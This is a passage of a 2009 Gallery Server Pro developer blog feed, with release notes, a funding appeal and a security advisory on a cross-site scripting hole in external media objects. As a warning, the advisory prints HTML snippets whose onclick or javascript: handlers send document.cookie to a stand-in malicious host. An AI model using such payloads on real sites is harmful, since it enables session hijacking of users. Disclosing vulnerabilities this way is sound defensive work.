href="http://lh3.ggpht.com/_qh4427KVFsk/SkEn57gOWKI/AAAAAAAAAJs/ZjLgymuM_WU/s1600-h/image_metadata_option%5B3%5D.jpg"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="Screen shot showing the image metadata function disabled" src="http://lh4.ggpht.com/_qh4427KVFsk/SkEn6OrWUOI/AAAAAAAAAJw/8wQ_DiZWwQ8/image_metadata_option_thumb%5B1%5D.jpg?imgmax=800" width="265" height="62" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;If you kept this option enabled (which is the default), you are not affected by the issue.&lt;/p&gt;  &lt;p&gt;When disabled, however, a javascript error occurs when you click the Next or Previous buttons as you browse an album. This is caused by a bug in the script file mediaobjectview.js. If this affects you, replace your version of this file with the latest one in one of the download packages (they all contain the same file). The file is located at \gs\script\mediaobjectview.js.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-9028454887673456593?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/9028454887673456593/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=9028454887673456593' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/9028454887673456593'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/9028454887673456593'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2009/06/script-error-fixed-in-233456.html' title='Script error fixed in 2.3.3456'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_qh4427KVFsk/SkEn6OrWUOI/AAAAAAAAAJw/8wQ_DiZWwQ8/s72-c/image_metadata_option_thumb%5B1%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-3054342382037957457</id><published>2009-06-18T16:41:00.001-05:00</published><updated>2009-06-18T21:57:48.531-05:00</updated><title type='text'>Administrator's Guide and Update Released</title><content type='html'>&lt;p&gt;Today I released the Administrator's Guide for 2.3 with all new screen shots and updated information.&lt;/p&gt;  &lt;p&gt;I also released another update for Gallery Server Pro. It contains another set of bug fixes, a couple minor new features, and a few minor behavior changes. Full details are on the &lt;a title="Gallery Server Pro Release History" href="http://www.galleryserverpro.com/releasehistory.aspx"&gt;Release History&lt;/a&gt; page.&lt;/p&gt;  &lt;p&gt;The Admin Guide and the new release can be &lt;a title="Gallery Server Pro Administrator&amp;#39;s Guide" href="http://www.galleryserverpro.com/download.aspx"&gt;downloaded here&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;Enjoy!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-3054342382037957457?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/3054342382037957457/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=3054342382037957457' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/3054342382037957457'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/3054342382037957457'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2009/06/administrator-guide-and-update-released.html' title='Administrator&amp;#39;s Guide and Update Released'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-6023186228070254012</id><published>2009-06-02T16:29:00.001-05:00</published><updated>2009-06-08T11:21:13.778-05:00</updated><title type='text'>Update for 2.3 includes fix for security vulnerability</title><content type='html'>&lt;p&gt;Today I posted version 2.3.3440 of Gallery Server Pro. It includes a couple minor features and several bug fixes. A complete list is on the &lt;a href="http://www.galleryserverpro.com/releasehistory.aspx"&gt;Release History&lt;/a&gt; page. The QuickStart Guide with instructions for upgrading is on the &lt;a href="http://www.galleryserverpro.com/download.aspx"&gt;Download&lt;/a&gt; page.&lt;/p&gt;  &lt;p&gt;The most important bug fix is a cross-site scripting (XSS) vulnerability, and it affects all versions of Gallery Server Pro beginning with 2.1. Until you get a chance to upgrade to the latest version, I recommend you disable the ability to add external media objects. In the Site admin area, on the Media Objects - General page, uncheck the option as seen here:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_qh4427KVFsk/SiWZp_nl4vI/AAAAAAAAAJM/IjG_bTGjRjI/s1600-h/disable_external_media_object%5B9%5D.jpg"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="disable_external_media_object" src="http://lh6.ggpht.com/_qh4427KVFsk/SiWZqdJTq2I/AAAAAAAAAJQ/G2dKz1PUbB4/disable_external_media_object_thumb%5B7%5D.jpg?imgmax=800" width="498" height="147" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#400000"&gt;&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#400000"&gt;In Depth: Cross-site scripting (XSS) vulnerability&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;The vulnerability exists in the external media object feature. This feature, introduced in 2.1, allows one to add snippets of HTML - such as embed code for a YouTube video - as a media object. The text entered by the user was not analyzed for malicious javascript. This was an intentional decision at the time because it was impossible to predict the HTML one might want to add, and some sites - such as CNN - use the &amp;lt;script&amp;gt; tag in their embed code. Since presumably administrators gave only trusted users the ability to add objects, this seemed like an acceptable thing to do.&lt;/p&gt;  &lt;p&gt;But then version 2.3 introduced community galleries and self registration, and suddenly a much wider variety of users are able to add objects. Furthermore, I learned more about cross-site scripting attacks and learned how Gallery Server was vulnerable.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;How serious is this vulnerability?&lt;/strong&gt; In the worst case scenario, a hacker can log in to the gallery as a system administrator, meaning he or she can delete your media objects or change the settings in the Site admin area. This is accomplished by creating a specially crafted snippet of HTML and uploading it as an external media object. Each time the media object is viewed, the cookie of the user viewing it is sent to a remote web site, thereby putting it in the hands of the hacker. The hacker can then use the cookie to impersonate that user. For example, if an administrator viewed the malformed object, the hacker could subsequently log in as the gallery administrator and do anything the administrator can do. This is called session hijacking.&lt;/p&gt;  &lt;p&gt;Note that this attack DOES NOT compromise the IIS configuration or allow the user to take over the web server. It appears to be restricted to allowing a hacker to log in under another gallery account.&lt;/p&gt;  &lt;p&gt;It is possible this XSS vulnerability has other security implications, but as best I can tell this is the most important one to worry about.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#400000"&gt;What was changed&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;For 2.3.3440, the following changes were made:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;The scope of the configuration setting allowHtmlInTitlesAndCaptions was expanded to apply to external media objects. When false (the default value), the user is prevented from creating an external media object that contains HTML. &lt;i&gt;(Note: It would be more appropriate to rename the setting allowUserEnteredHtml, but for the sake of backward compatibility and ease of upgrading the original name was preserved.)&lt;/i&gt; &lt;/li&gt;    &lt;li&gt;When HTML is explicitly enabled, the list of allowed HTML tags and attributes is severely restricted. They are listed in two new configuration settings in galleryserverpro.config: allowedHtmlTags and allowedHtmlAttributes. (Previously the list was hard-coded and applied only to the titles of albums and media objects.) &lt;/li&gt;    &lt;li&gt;A new configuration setting allowUserEnteredJavascript can be used to control whether javascript is allowed in user input. When false - which is the default - &amp;lt;script&amp;gt; tags and the string &amp;quot;javascript:&amp;quot; are banned. &lt;/li&gt;    &lt;li&gt;For album and media object titles, invalid HTML and javascript is automatically removed before being stored in the database. In previous versions, it was encoded (for example, &amp;lt; was replaced with &amp;amp;lt;). &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;I believe when these settings are used at their default values Gallery Server Pro is protected against XSS attacks, session hijacking, and any other attacks I have studied.&lt;/p&gt;  &lt;p&gt;These changes mean that in the default configuration users can add only plain text as external media objects. To make this feature more useful, an administrator will want to enable the HTML setting. &lt;b&gt;I believe that users are still protected against attacks when HTML is allowed as long as the list of allowed HTML tags and attributes remain at their default values.&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;When HTML is enabled, the following HTML tags and attributes are allowed. An administrator can edit these on the User Settings page in Site Admin.&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000"&gt;&lt;b&gt;Tags:&lt;/b&gt; p, a, div, span, br, ul, ol, li, table, tr, td, th, h1, h2, h3, h4, h5, h6, strong, b, em, i, u, cite, blockquote, address, pre, hr, img, dl, dt, dd, code, tt&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000"&gt;&lt;b&gt;Attributes:&lt;/b&gt; href, class, style, id, src, title, alt, target, name&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#400000"&gt;You may still be vulnerable if you change the settings&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Use caution when adding HTML tags and attributes to the &amp;quot;allowed&amp;quot; lists, especially event attributes such as onclick, onmouseover, etc. Consider the following HTML snippet, which sends the logged-on user's cookie to a remote web site and is a common technique used in session hijacking attacks to impersonate another user: &lt;/p&gt;  &lt;p&gt;&lt;font color="#800000"&gt;&amp;lt;p onclick=&amp;quot;document.location='http://www.malicioussite.com/s.cgi?' + document.cookie&amp;quot;&amp;gt;Click me&amp;lt;/p&amp;gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;Starting with 2.3.3440, this text cannot be entered as an external media object (or an album or media object title, for that matter) because it contains HTML. If you enable HTML, the text is still not valid because it contains the &lt;i&gt;onclick&lt;/i&gt; attribute which is not in the list of allowed HTML attributes. However, if you add &lt;i&gt;onclick&lt;/i&gt; to the list, &lt;b&gt;this text can be entered, even if you have the javascript option disabled&lt;/b&gt;.&lt;/p&gt;  &lt;p&gt;This is because javascript is very difficult to accurately detect. The &lt;b&gt;allowUserEnteredJavascript&lt;/b&gt; setting prevents the use of &amp;lt;script&amp;gt; tags and &amp;quot;javascript:&amp;quot; strings, but they are not present in this example. Sure, Gallery Server Pro could search for &lt;i&gt;document.cookie&lt;/i&gt;, but if it does that it needs to search for all the possible javascript statements, which is cumbersome and error-prone.&lt;/p&gt;  &lt;p&gt;Note that the following sample does not work and is therefore not a security risk:&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000"&gt;&amp;lt;a href=&amp;quot;document.location='http://www.malicioussite.com/s.cgi?' + document.cookie&amp;quot;&amp;gt;Click me&amp;lt;/a&amp;gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;Even though the &lt;i&gt;a&lt;/i&gt; tag and &lt;i&gt;href&lt;/i&gt; attribute are in the list of allowed HTML, hyperlinks require the use of the string &amp;quot;javascript:&amp;quot; like this:&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000"&gt;&amp;lt;a href=&amp;quot;javascript:document.location='http://www.malicioussite.com/s.cgi?' + document.cookie&amp;quot;&amp;gt;Click me&amp;lt;/a&amp;gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;All of the allowed attributes in a default Gallery Server Pro installation require the use of the string &amp;quot;javascript:&amp;quot;, so as long as you are restricting javascript input (that is, &lt;b&gt;allowUserEnteredJavascript&lt;/b&gt;=false), you are protected.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#400000"&gt;&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#400000"&gt;Key points&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Starting with 2.3.3440, HTML and javascript are disabled by default for external media objects. &lt;/li&gt;    &lt;li&gt;The &amp;quot;Allow HTML&amp;quot; option on the User Settings page in the Site admin area now applies to external media objects in addition to captions and titles. &lt;/li&gt;    &lt;li&gt;If you previously enabled HTML in your gallery, then it is allowed but the HTML validator uses a slightly different list of valid HTML tags and attributes than what was previously hard-coded. &lt;/li&gt;    &lt;li&gt;There are no known vulnerabilities if you enable HTML with the default list of tags and attributes. &lt;/li&gt;    &lt;li&gt;Adding any event attribute such as onclick, onmouseover, etc to the list of allowed HTML attributes makes you vulnerable to XSS and session hijacking, even if you have the allow javascript option disabled. &lt;/li&gt;    &lt;li&gt;Enabling the use of javascript makes you vulnerable, even with the default list of HTML tags and attributes. &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#400000"&gt;How to tell if your site has been compromised&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;If users have been able to add external media objects to your gallery, they may have already uploaded malicious code. The only sure way to determine if this has happened is to manually inspect the content of external media objects. This feature is not exposed in the UI, so you have to look in the database table. In your favorite SQL program (such as Management Studio for SQL Server or &lt;a title="Go to the SQLite Manager home page" href="http://code.google.com/p/sqlite-manager/"&gt;SQLite Manager&lt;/a&gt; for SQLite) run the following SQL:&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;SQLite:&lt;/strong&gt; SELECT MediaObjectId, ExternalHtmlSource FROM gs_MediaObject WHERE LENGTH(ExternalHtmlSource) &amp;gt; 0&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;SQL Server:&lt;/strong&gt; SELECT MediaObjectId, ExternalHtmlSource FROM gs_MediaObject WHERE LEN(ExternalHtmlSource) &amp;gt; 0&lt;/p&gt;  &lt;p&gt;You will see the snippets of text that users entered when they added external media objects. If you see the text &amp;quot;document.cookie&amp;quot;, that is a red flag. It is possible that a malicious user encoded the script to make it difficult to find, so be suspicious of any text you do not understand.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#400000"&gt;A tip for adding external media objects that use script or banned tags&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;As I mentioned earlier, some web sites include javascript or banned tags in their embed code. For example, here is a snippet of video from CNN.com:&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000"&gt;&amp;lt;script src=&amp;quot;&lt;/font&gt;&lt;a href="http://i.cdn.turner.com/cnn/.element/js/2.0/video/evp/module.js?loc=dom&amp;amp;vid=/video/world/2009/06/02/bpr.plane.debris.found.cnn" ?="?"&gt;&lt;font color="#800000"&gt;http://i.cdn.turner.com/cnn/.element/js/2.0/video/evp/module.js?loc=dom&amp;amp;vid=/video/world/2009/06/02/bpr.plane.debris.found.cnn&amp;quot;&lt;/font&gt;&lt;/a&gt;&lt;font color="#800000"&gt; type=&amp;quot;text/javascript&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;noscript&amp;gt;Embedded video from &amp;lt;a href=&amp;quot;&lt;/font&gt;&lt;a href="http://www.cnn.com/video" ?="?"&gt;&lt;font color="#800000"&gt;http://www.cnn.com/video&amp;quot;&lt;/font&gt;&lt;/a&gt;&lt;font color="#800000"&gt;&amp;gt;CNN Video&amp;lt;/a&amp;gt;&amp;lt;/noscript&amp;gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;The only way to add this to the gallery is to do three things: (1) enable javascript; (2) add the HTML tag &lt;em&gt;script&lt;/em&gt; to the list of allowed tags; (3) add the HTML attribute &lt;em&gt;type&lt;/em&gt; to the list of allowed attributes. Doing this makes you vulnerable to an XSS attack, so I do not recommend you use these settings on a long-term basis unless you totally trust your users that add objects. However, you *can* change the settings just long enough to add the code. Then go back to Site admin and revert to the previous settings. The snippet will continue to work, synchronizing won't break it, and your site is still safe.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-6023186228070254012?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/6023186228070254012/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=6023186228070254012' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6023186228070254012'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6023186228070254012'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2009/06/update-for-23-includes-fix-for-security.html' title='Update for 2.3 includes fix for security vulnerability'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_qh4427KVFsk/SiWZqdJTq2I/AAAAAAAAAJQ/G2dKz1PUbB4/s72-c/disable_external_media_object_thumb%5B7%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-6984258157455023513</id><published>2009-05-15T17:10:00.001-05:00</published><updated>2009-05-15T17:19:35.412-05:00</updated><title type='text'>Gallery Server Pro 2.3 Released!</title><content type='html'>&lt;p&gt;&lt;a href="http://lh4.ggpht.com/_qh4427KVFsk/Sg3oXrPUa5I/AAAAAAAAAJE/m99y5lcVr44/s1600-h/gs_ss_300x263%5B4%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; border-top: 0px; border-right: 0px" border="0" alt="Screen shot of Gallery Server Pro 2.3" align="right" src="http://lh5.ggpht.com/_qh4427KVFsk/Sg3oX8cg54I/AAAAAAAAAJI/2aJKuBMT8_k/gs_ss_300x263_thumb%5B2%5D.jpg?imgmax=800" width="304" height="267" /&gt;&lt;/a&gt; After several months of non-stop work, I am happy to release the latest version of Gallery Server Pro! Among the thirty-three new features are:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Faster, lighter, better-looking pages&lt;/li&gt;    &lt;li&gt;Zero-maintenance community galleries&lt;/li&gt;    &lt;li&gt;Improved handling of DIVX, PDF, TXT, HTML, RTF, Word docs and other files&lt;/li&gt;    &lt;li&gt;Support for read-only galleries&lt;/li&gt;    &lt;li&gt;Error logging&lt;/li&gt;    &lt;li&gt;Album paging&lt;/li&gt;    &lt;li&gt;Ability to download multiple items in a ZIP archive&lt;/li&gt;    &lt;li&gt;Many other usability enhancements...&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;There were also more than forty bugs fixed in this release. I described many of the new features in a &lt;a title="Preview of Gallery Server Pro 2.3" href="http://www.galleryserverpro.com/blog.aspx?id=1589276724211336743"&gt;previous post&lt;/a&gt;, so I won't repeat myself. For a complete list of features and bugs, including detailed reports from my tracking software, go to the &lt;a title="Gallery Server Pro Release History" href="http://www.galleryserverpro.com/releasehistory.aspx"&gt;Release History page&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;Upgrading from 2.1 or 2.2 is a snap. Follow these simple steps:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Make a copy of your web.config, galleryserverpro.config and galleryserverpro_data.sqlite files.&lt;/li&gt;    &lt;li&gt;Replace the files in the web application directory with the new ones (but don't delete your media object files).&lt;/li&gt;    &lt;li&gt;(SQLite only) Replace the galleryserverpro_data.sqlite file in the App_Data directory with yours.&lt;/li&gt;    &lt;li&gt;Run the upgrade wizard and follow the directions. The wizard is at default.aspx?g=upgrade. It will help you import your settings from web.config and galleryserverpro.config files.&lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;These are the same upgrade steps you would have followed to upgrade to 2.2, so if you would like more detailed instructions, including how to upgrade from versions earlier than 2.1, refer to the &lt;a href="http://www.galleryserverpro.com/download.aspx"&gt;Administrator's Guide&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;Speaking of the Administrator's Guide, it will take a couple weeks to fully update this 200-page beast (uggh), so until then use the &lt;a title="Gallery Server Pro 2.3 QuickStart Guide" href="http://www.galleryserverpro.com/support/QuickStartGuide_2_3.pdf"&gt;2.3 QuickStart Guide&lt;/a&gt; to fill in some of the gaps.&lt;/p&gt;  &lt;p&gt;As I previously mentioned, our savings account is nearly tapped out, so if you enjoy Gallery Server Pro, please consider a donation. Thanks!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-6984258157455023513?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/6984258157455023513/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=6984258157455023513' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6984258157455023513'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6984258157455023513'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2009/05/gallery-server-pro-23-released.html' title='Gallery Server Pro 2.3 Released!'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_qh4427KVFsk/Sg3oX8cg54I/AAAAAAAAAJI/2aJKuBMT8_k/s72-c/gs_ss_300x263_thumb%5B2%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-4714399364643076504</id><published>2009-05-07T13:57:00.001-05:00</published><updated>2009-05-07T14:03:33.396-05:00</updated><title type='text'>The Financial Status of Gallery Server Pro (or: This Guy Needs A Summer Job)</title><content type='html'>&lt;p&gt; People ask how I can manage to distribute Gallery Server Pro for free. Do I have a rich uncle? No. Are the donations really enough to pay the bills? Well, no, they are not. I want to be completely transparent with you, so here is a report of recent GSP registrations and donations (a registration is simply a request for a product key):&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="Registrations and donations to Gallery Server Pro, By Month" src="http://lh6.ggpht.com/_qh4427KVFsk/SgMvEHOmFBI/AAAAAAAAAI8/y7QYaQil2ks/gsp_donations9.png?imgmax=800" width="503" height="413" /&gt; &lt;/p&gt;  &lt;p&gt;The average donation is $45, and has ranged from $1 all the way to $500. I find it inspiring that so many of you donate of your own free will, and $400 per month is a nice chunk of change. But I can't live on that. Margaret brings in about the same with her part-time job, so we have been slowly burning through our savings.&lt;/p&gt;  &lt;p&gt;&lt;img style="border-bottom: 0px; border-left: 0px; margin: 0px 5px 5px 0px; border-top: 0px; border-right: 0px" border="0" alt="Roger &amp;amp; Skyler" align="left" src="http://lh5.ggpht.com/_qh4427KVFsk/SgMvETO0m9I/AAAAAAAAAJA/VsyhsmbTSTY/roger%26sleepingskyler%5B13%5D.jpg?imgmax=800" width="204" height="193" /&gt;And now our money is about to run out, so I have to figure out a way to recharge the savings account. An avalanche of donations would be my preferred method, but that is unlikely to happen. Or will it? hint...hint...&lt;/p&gt;  &lt;p&gt;I could start charging for GSP. Many have suggested I do just that, and people I respect believe it would be successful. But I am absolutely committed to keeping GSP free and open source. The fact that an average of 8% of you donate is quite impressive - If I can increase the number of registrations to 1000 or more per month, GSP will become self-sustaining. I intend to get there, but &amp;quot;there&amp;quot; has not yet arrived.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;What I need to do is find a programming contract that keeps me fully employed for a month or two or six.&lt;/strong&gt; &lt;strong&gt;&lt;em&gt;This is where you come in.&lt;/em&gt;&lt;/strong&gt; Is there a .NET project I can help you with? Would you like a customization of GSP for your website? Maybe there is some feature you would like, like a shopping cart, integration with Flickr, etc.&lt;/p&gt;  &lt;p&gt;Visit &lt;a title="Tech Info Systems - Roger Martin&amp;#39;s consulting company" href="http://www.techinfosystems.com/"&gt;Tech Info Systems&lt;/a&gt; for more information about my consulting and programming abilities. My &lt;a title="Roger Martin&amp;#39;s resume" href="http://www.techinfosystems.com/rogerresume.aspx"&gt;resume&lt;/a&gt; is updated with the latest exaggerations. Contact me at roger*at*techinfosystems*dot*com or give me a ring at 920-563-3165. I will even fly to your location to discuss your project (you pay travel expenses). Projects in New Zealand are given top priority.&lt;/p&gt;  &lt;p&gt;Help this guy get a summer job. And when my savings are again stocked, I will be back at GSP full time. There is a lot of great stuff in the pipeline, and I can't wait to open the spigots.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-4714399364643076504?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/4714399364643076504/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=4714399364643076504' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/4714399364643076504'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/4714399364643076504'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2009/05/financial-status-of-gallery-server-pro.html' title='The Financial Status of Gallery Server Pro (or: This Guy Needs A Summer Job)'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_qh4427KVFsk/SgMvEHOmFBI/AAAAAAAAAI8/y7QYaQil2ks/s72-c/gsp_donations9.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-7147912081294934101</id><published>2009-04-29T14:33:00.001-05:00</published><updated>2009-04-29T14:39:44.584-05:00</updated><title type='text'>Gallery Server Pro 2.3 beta released</title><content type='html'>&lt;p&gt;Today I am releasing the near-final version of Gallery Server Pro 2.3, with the full release expected by May 31. This is a significant release, with new features such as user albums, self-registration, album paging, and more. Read my &lt;a href="http://www.galleryserverpro.com/blog.aspx?title=Preview-of-Gallery-Server-Pro-2.3&amp;amp;id=1589276724211336743"&gt;previous blog entry&lt;/a&gt; for more details. A bonus feature not previously announced is support for changing settings in the Site Admin area in a Medium Trust environment (GoDaddy users rejoice!).&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.galleryserverpro.com/dev/gs23beta/"&gt;Play with an online demo of 2.3 beta here&lt;/a&gt;. The demo has self-registration and user albums enabled. Create a new account and notice how an album is automatically created. You have administrative rights to your album but not the others. I configured it so you have read-only permissions to the rest of the gallery, but you may want to give greater or less access. For example, you can set up your gallery so that each user can only view their own album but no others.&lt;/p&gt;  &lt;p&gt;The demo also has album paging set to show a maximum of ten thumbnails per page. This is probably lower than what you would set in a production app, but it helps illustrate the idea.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.galleryserverpro.com/download/GalleryServerPro_Beta_v2.3.3406.zip"&gt;Download the Gallery Server Pro 2.3 beta here&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;Just like the current version, out of the box it will run on a 32-bit operating system running .NET 2.0 or higher. If you have a 64-bit OS, replace System.Data.SQLite.DLL in the bin directory with the &lt;a href="http://www.galleryserverpro.com/download/System_Data_SQLite_v1_0_61_0.zip"&gt;64-bit version&lt;/a&gt;. MS .NET 3.5 users should use the 3.5 version of web.config (look in the root directory).&lt;/p&gt;  &lt;p&gt;The installation instructions for the 2.2 version of GSP also apply to 2.3, so read the &lt;a href="http://www.galleryserverpro.com/download.aspx"&gt;Admin Guide&lt;/a&gt; for more information.&lt;/p&gt;  &lt;p&gt;Please report any issues in the &lt;a href="http://www.galleryserverpro.com/forum/"&gt;forum&lt;/a&gt; or with the &lt;a href="http://www.galleryserverpro.com/support.aspx"&gt;contact form&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Unfinished items in the beta&lt;/strong&gt;&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Do not try to upgrade your existing gallery to the beta, as the Upgrade Wizard is unfinished. The RTM version *will* allow you to easily upgrade from previous versions. The beta should be installed as a new web application and is to be used for testing purposes only.&lt;/li&gt;    &lt;li&gt;I will not provide an 